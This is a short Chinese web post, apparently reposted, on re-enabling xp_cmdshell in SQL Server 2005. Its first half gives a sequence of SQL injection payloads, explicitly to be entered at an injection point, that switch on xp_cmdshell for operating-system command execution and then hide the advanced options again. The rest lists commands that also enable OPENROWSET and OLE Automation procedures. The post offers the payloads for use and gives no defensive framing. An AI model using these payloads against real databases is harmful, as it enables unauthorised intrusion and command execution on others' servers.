对SQL2005 在默认的设置中是删除了 XP_CMDSHELL的一点解决办法

来源:互联网 发布:博远软件下载 编辑:程序博客网 时间:2024/05/19 20:57
 

SQL2005 在默认的设置中是删除了 XP_CMDSHELL的,但我们可以依次在注入点输入
USE master
;EXEC sp_configure 'show advanced options',1--
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1--
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options',0--
就可以搞定了

或者在SQL查询分析器中执行

开启XP_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;

开启'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
开启'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;